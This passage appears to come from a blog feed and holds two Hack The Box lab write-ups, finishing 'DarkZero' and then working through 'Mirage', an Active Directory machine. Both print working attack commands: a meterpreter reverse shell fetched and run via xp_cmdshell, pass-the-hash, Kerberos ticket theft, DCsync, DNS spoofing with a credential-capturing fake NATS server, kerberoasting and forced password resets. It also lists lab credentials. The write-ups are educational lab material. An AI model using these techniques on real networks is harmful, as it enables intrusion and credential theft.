&lt;h3&gt;msfconsole - FAIL&lt;/h3&gt;
&lt;p&gt;Instead I launched &lt;code&gt;msfconsole&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfconsole -q -x &quot;use exploit/multi/handler; set LHOST tun0; set LPORT 443; set payload windows/x64/meterpreter/reverse_tcp; run&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/607e4307fd28c5ea3627771c75956733.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I created the &lt;code&gt;msfvenom&lt;/code&gt; payload for it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.42 LPORT=443 -f exe -o shell.exe 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On the &lt;code&gt;mssqlclient&lt;/code&gt; session I used the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;exec xp_cmdshell &quot;powershell iwr -uri http://10.10.14.42/shell.exe -outfile C:\Users\Public\shell.exe&quot;
exec xp_cmdshell &quot;C:\Users\Public\shell.exe&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a9fb46ea730230752436a00582c53f3a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4b07b543574d6bb4450ab06d81ba79e2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By running the exploit suggester I find that the target is indeed vulnerable to the previous found CVE:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cb383a5fe8ac14eca6a3dd5b86655e0a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::fail
For some reason this exploit just did not want to work. I tried it many times over and over and even reverted the machine, it did not work. I then grabbed up the &lt;em&gt;Administrator&lt;/em&gt; hash from a fellow player and used a &lt;code&gt;ligolo&lt;/code&gt; tunnel to log in.
The intention was to exploit the CVE then do some post-exploitation where the hash would be discovered.
:::&lt;/p&gt;
&lt;h2&gt;Tunneling&lt;/h2&gt;
&lt;p&gt;Since the exploit just kept failing I logged in with the provided NT hash instead:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c4116b6b780330a726e68a27fcb325f0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9f30f52df7c339a0858c97128509c91b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-psexec Administrator@172.16.20.2 -hashes &quot;:6963aad8ba1150192f3ca6341355eb49&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1992c8765fee7e69304909f630af55b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;The user flag was found inside the &lt;em&gt;Administrator&lt;/em&gt;&apos;s Desktop directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/501a1545c883204b5b85a3758f55efbe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;DC01 Foothold&lt;/h1&gt;
&lt;h2&gt;Pivoting&lt;/h2&gt;
&lt;p&gt;Now that we&apos;ve compromised the &lt;strong&gt;DC02&lt;/strong&gt; target we&apos;ll have to pivot over to the &lt;strong&gt;DC01&lt;/strong&gt; host. In order to do this we&apos;ll log into the &lt;code&gt;mssqlclient&lt;/code&gt; again and try to steal a ticket by abusing the &lt;code&gt;smb&lt;/code&gt; protocol using &lt;code&gt;rubeus.exe&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/719a75c3fc5c12b7d3385a10ba2dd74b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/307280ebc261c61d01a9fc6dc5e36d96.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once uploaded we&apos;ll run &lt;code&gt;rubeus&lt;/code&gt; in monitor mode:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Rubeus.exe monitor /interval:1 /nowrap
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Right away we notice some output, however this is from the same system:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/de0232ae9cf4e8d32990b09d3db6c09d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;What we need is a TGT ticket from the users over on &lt;strong&gt;DC01&lt;/strong&gt;. I&apos;ll use the following command from a new &lt;code&gt;mssqlclient&lt;/code&gt; instance to get this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;exec xp_dirtree &apos;\\DC02.darkzero.ext\\testing&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3522f04c0f3986a101821f9ee6aee39c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Over in the &lt;code&gt;rubeus&lt;/code&gt; terminal I notice the output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2abb3667040e79f50ac46197235db726.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I copied the &lt;code&gt;base64&lt;/code&gt; output over and converted it to a &lt;code&gt;.ccache&lt;/code&gt; ticket:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;doIFjDCCBYig.....xEQVJLWkVSTy5IVEI=&quot; | base64 -d &amp;gt; ticket.kirbi
impacket-ticketConverter ticket.kirbi admin.ccache
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ec2d7e2567eb7ccd3b26adbaad423edb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6f242bde90b114dffb599f5dc446bab5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;DC01 Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;dcsync&lt;/h2&gt;
&lt;p&gt;All that&apos;s left now is to &lt;code&gt;dcsync&lt;/code&gt; the &lt;strong&gt;DC01&lt;/strong&gt; target in order to fetch the hashes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-secretsdump -k -no-pass darkzero.htb/&apos;DC01$&apos;@DC01.DARKZERO.HTB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7f9c346de60711d4dee6f353a45663e0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can now easily log in as &lt;em&gt;Administrator&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d0b87196bdcedc062060a7afb43e4123.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d14e76777393a568db33564c796b8c81.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ed657cddabd13e2dc50ddf6f8514c645.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&amp;lt;/PasswordProtect&amp;gt;&lt;/p&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Mirage</title><link>https://maxk9999.vercel.app/posts/mirage</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/mirage</guid><pubDate>Sat, 22 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.78
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -vvvv -T5 --min-rate=5000 -Pn mirage.htb

PORT      STATE SERVICE         REASON  VERSION
53/tcp    open  domain          syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec    syn-ack Microsoft Windows Kerberos (server time: 2025-11-22 20:19:36Z)
111/tcp   open  rpcbind         syn-ack 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc           syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn     syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap            syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA/domainComponent=mirage
445/tcp   open  microsoft-ds?   syn-ack
464/tcp   open  kpasswd5?       syn-ack
593/tcp   open  ncacn_http      syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap        syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
2049/tcp  open  nlockmgr        syn-ack 1-4 (RPC #100021)
3268/tcp  open  ldap            syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap        syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
4222/tcp  open  vrml-multi-use? syn-ack
5985/tcp  open  http            syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf          syn-ack .NET Message Framing
47001/tcp open  http            syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc           syn-ack Microsoft Windows RPC
49665/tcp open  msrpc           syn-ack Microsoft Windows RPC
49666/tcp open  msrpc           syn-ack Microsoft Windows RPC
49667/tcp open  msrpc           syn-ack Microsoft Windows RPC
49668/tcp open  msrpc           syn-ack Microsoft Windows RPC
55614/tcp open  msrpc           syn-ack Microsoft Windows RPC
55623/tcp open  ncacn_http      syn-ack Microsoft Windows RPC over HTTP 1.0
55624/tcp open  msrpc           syn-ack Microsoft Windows RPC
55637/tcp open  msrpc           syn-ack Microsoft Windows RPC
55640/tcp open  msrpc           syn-ack Microsoft Windows RPC
55662/tcp open  msrpc           syn-ack Microsoft Windows RPC
55678/tcp open  msrpc           syn-ack Microsoft Windows RPC
62998/tcp open  msrpc           syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-11-22T20:20:34
|_  start_date: N/A
|_clock-skew: 2h34m18s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 38031/tcp): CLEAN (Couldn&apos;t connect)
|   Check 2 (port 16776/tcp): CLEAN (Couldn&apos;t connect)
|   Check 3 (port 62882/udp): CLEAN (Timeout)
|   Check 4 (port 35574/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I started off by mounting the &lt;code&gt;nfs&lt;/code&gt; share.&lt;/p&gt;
&lt;h2&gt;2049/TCP - NFS&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a66205675ac39920f48f2b330e15cbfa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In both cases the &lt;code&gt;pdf&lt;/code&gt; files were password restricted:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8a0459516efba1d15ee4efa7447766f0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;qpdf - PDF conversion&lt;/h3&gt;
&lt;p&gt;We were unable to open it. Luckily for us there&apos;s a tool called &lt;code&gt;qpdf&lt;/code&gt; that will be able to transform it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0b762fbac390645212b83040555e10a7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/89219ab624db1b352f903cd9fc36f8bf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/41437d63bb6664a4161021c5ef8a9a14.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A subdomain stands out:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c0e04ea46b4dfae5f46f8a8a81399926.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nats-svc.mirage.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the other report there is important info found about the domain abolishing NTLM as a log-in method. Instead they will from now on only use &lt;strong&gt;Kerberos&lt;/strong&gt; authentication:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6d39f9cdb6632b7b881d22ce88b0d316.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There is also an email found:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/98cdcd04bb1eefd63c3b404fa558f66f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nevertheless I add the found subdomain to my &lt;code&gt;/etc/hosts&lt;/code&gt; list and try to query the subdomain using &lt;code&gt;dig&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a408843c781e69e74aaf0e8a410a0de7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Interesting, there are actually no records found eventhough the &lt;code&gt;pdf&lt;/code&gt; mentions this subdomain is &lt;strong&gt;critical&lt;/strong&gt; for internal services.&lt;/p&gt;
&lt;h2&gt;53/TCP - DNS&lt;/h2&gt;
&lt;h3&gt;DNS Injection&lt;/h3&gt;
&lt;p&gt;We can use the &lt;code&gt;nsdupdate&lt;/code&gt; tool to update the DNS records of the subdomain in order to spoof it as our own IP:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cf51edec027fde8b43d6d0bd33839422.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then using the following script we will start a fake &lt;code&gt;nats&lt;/code&gt; server on port &lt;code&gt;4222&lt;/code&gt;. The host should try to connect to us since we&apos;ve updated the DNS records by pointing the subdomain to our own IP.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import socket
import threading

HOST = &apos;0.0.0.0&apos;
PORT = 4222

def handle_client(conn, addr):
    print(f&quot;[+] Connection from {addr}&quot;)

    info = (
        &apos;INFO {&quot;server_id&quot;:&quot;fake-server&quot;,&quot;version&quot;:&quot;2.9.9&quot;,&quot;proto&quot;:1,&apos;
        &apos;&quot;go&quot;:&quot;go1.20.0&quot;,&quot;host&quot;:&quot;fake-nats&quot;,&quot;port&quot;:4222,&quot;max_payload&quot;:1048576}\r\n&apos;
    )
    conn.send(info.encode())

    try:
        while True:
            data = conn.recv(4096)
            if not data:
                break
            print(f&quot;[DATA] {addr} &amp;gt;&amp;gt;&amp;gt; {data.decode(errors=&apos;ignore&apos;)}&quot;)
    except Exception as e:
        print(f&quot;[!] Error from {addr}: {e}&quot;)
    finally:
        conn.close()
        print(f&quot;[-] Connection closed: {addr}&quot;)

def start_server():
    print(f&quot;[*] Starting fake NATS server on {HOST}:{PORT}&quot;)
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((HOST, PORT))
        s.listen()
        while True:
            conn, addr = s.accept()
            thread = threading.Thread(target=handle_client, args=(conn, addr))
            thread.start()

if __name__ == &apos;__main__&apos;:
    start_server()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By running the above script we get a connection from the target:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c749039cbdafd8c898b7c6b5c5a6a5cf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We&apos;ve acquired a set of credentials:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Dev_Account_A
hx5h7F5554fP@1337!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4222/TCP - Nats&lt;/h2&gt;
&lt;p&gt;We can now connect via the &lt;code&gt;nats&lt;/code&gt; service with the found creds. This can be done by installing the &lt;code&gt;natscli&lt;/code&gt; tool using &lt;code&gt;go&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e669c20b439d9d0832f75813c953152d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up we&apos;re going to be running 3 commands in the following order:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nats --context dev-nats sub &quot;&amp;gt;&quot; --count 10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once we run the above in one terminal we&apos;ll want to run the next in another terminal:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nats --context dev-nats consumer add auth_logs audit-reader --pull --ack=explicit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we can just keep clicking enter until it is done.
Lastly we&apos;ll use the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nats --context dev-nats consumer next auth_logs audit-reader --count=5 --wait=5s --ack
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Combined it will look like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6f73ded2b51b34b6316b2dc61bb60915.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8e912ee26668d2ffbdb7ac99fa414a1a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5dc39f9abf5580fce2389292cb179008.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We see that the output from the last command gives us a set of credentials.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;david.jjackson
pN8kQmn6b86!1234@
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note
I connected to the NATS broker using the dev context, then created a consumer on the &lt;code&gt;auth_logs&lt;/code&gt; stream so I could pull messages from it. After that, I fetched the next batch of log entries, and the broker handed me an authentication log containing a real username and password. By acknowledging the message, I told the server I had successfully received it.
:::&lt;/p&gt;
&lt;h2&gt;nxc&lt;/h2&gt;
&lt;p&gt;Since NTLM logon doesn&apos;t work ( as confirmed per below ):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/54499c171fb086d6459880b1d9f001ec.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We will need to request a TGT.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/112eb406cdd5cc16cc5c835341dc0237.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Afterwards we can see that it works just fine using kerberos auth:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4d95cdfd421a125705842288ef6a253c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I quickly move on to enumerating users:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7ab328ef8ae48c90012af8e466b0559f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then add these accounts to my usernames file in order to password spray later on.&lt;/p&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;More importantly I moved on to &lt;code&gt;bloodhound&lt;/code&gt; so I can graph everything out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/10993d55bdd5c64311c5e172f960da2f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I boot up &lt;code&gt;bloodhound&lt;/code&gt; and ingest the files:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f0894223e629e940119d90ef8891ba8c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At first glance there was nothing useful found at all.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4550384742d5cc483b33b4ca8fa585bf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However when we run the &lt;strong&gt;All Kerberoastable Users&lt;/strong&gt; query it returns the following user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/be2b54003e87f69769415b6029b332fb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This user turns out to be part of the &lt;strong&gt;IT_ADMINS&lt;/strong&gt; group and even has remote management:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1d23a624b05b8abe978c717226aae035.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s &lt;em&gt;kerberoast&lt;/em&gt; them.&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;kerberoasting&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;impacket-GetUserSPNs mirage.htb/david.jjackson:&apos;pN8kQmn6b86!1234@&apos; -target-domain mirage.htb -dc-ip 10.10.11.78 -request -dc-host dc01.mirage.htb -k -save -debug
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/38e4199ba60e8d7ae0c74cc2ab46fa37.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then cracked the hash using &lt;code&gt;john&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/219533414fcf60cf3b31aa2bc556fc70.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3edc#EDC3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I then requested a TGT using the creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d436c12ab3668fb85bc6a4669f7d85aa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In order to use this to ticket to log in I had to modify the &lt;code&gt;/etc/krb5.conf&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f67d61c3b09144d13d38cd74485c44ff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a4ff4a78ad4cf49e274033a571a733ff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as nathan.aadam&lt;/h2&gt;
&lt;p&gt;I logged in as the user via &lt;code&gt;winrmexec&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/830e3cd0802b546f66783e4ad34c250f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I was instantly able to grab the flag.&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f3f58f6fc2d57d9ce627ec6479b7bc91.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;Since &lt;code&gt;bloodhound&lt;/code&gt; didn&apos;t yield anything further I started up &lt;code&gt;winpeas&lt;/code&gt; to do some enumeration:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ec2ba4a00587a5fb7cc3cf647c226dff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While scrolling down I found something interesting:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d9d3108efbfaac3b7532f237135c892e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mark.bbond
1day@atime
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I thus added the user to my &quot;owned&quot; list:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d0900aeb58dc5186de0c4ce61219e606.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now it became quite interesting:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/78a2459d55a06a8054883a3170743827.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lateral Movement&lt;/h2&gt;
&lt;h3&gt;ForceChangePassword&lt;/h3&gt;
&lt;p&gt;First I got a TGT for &lt;em&gt;mark&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9008e2e29785ab1902614309717dc881.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;First off we&apos;ll want to enable the account again:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host dc01.mirage.htb -d mirage.htb -u &apos;mark.bbond&apos; -k remove uac &quot;javier.mmarshall&quot; -f ACCOUNTDISABLE 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cfae4f144eb5b6e8e9395c76d6776215.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then used &lt;code&gt;bloodyAD&lt;/code&gt; to change the password for &lt;em&gt;javier&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host dc01.mirage.htb -d mirage.htb -u &apos;mark.bbond&apos; -k set password &quot;javier.mmarshall&quot; &quot;P@ssword123&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e8184dac8751df1e820eea649a6dfe52.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up we need to enable the account:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dn: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
changetype: modify
replace: logonHours
logonHours:: ////////////////////////////
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5c45b1b16ae0e53859a9436af83fa228.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We use &lt;code&gt;ldapmodify&lt;/code&gt; to modify the entry:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ldapmodify -H ldap://dc01.mirage.htb -D &quot;mark.bbond@mirage.htb&quot; -w &apos;1day@atime&apos; -f javier_hours.ldif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a877a526b8bddf0e245ce53c4932a5ad.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that all&apos;s done we can get the TGT and export it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/94e472b8bdcedd43c828cf38bb02dd92.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;ReadgMSApassword&lt;/h3&gt;
&lt;p&gt;This one is pretty straightforward:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap mirage.htb -u &apos;javier.mmarshall&apos; -p &apos;P@ssword123&apos; -k --gmsa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f08d1091f5d2c914135713744b1a60c7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next I yet again requested a TGT:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9d8460fb4a7864110573616fdc1eb589.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;ESC10&lt;/h2&gt;
&lt;h3&gt;Detection&lt;/h3&gt;
&lt;p&gt;Next up the following was discovered:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;reg query HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1651ae616ee9d6024ef8669126cf4c94.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As well as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Get-Item -Path &quot;HKLM:\SYSTEM\CurrentControlSet\Services\Kdc&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1c8cbb22707a8db0ab2b4c4eb74df195.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
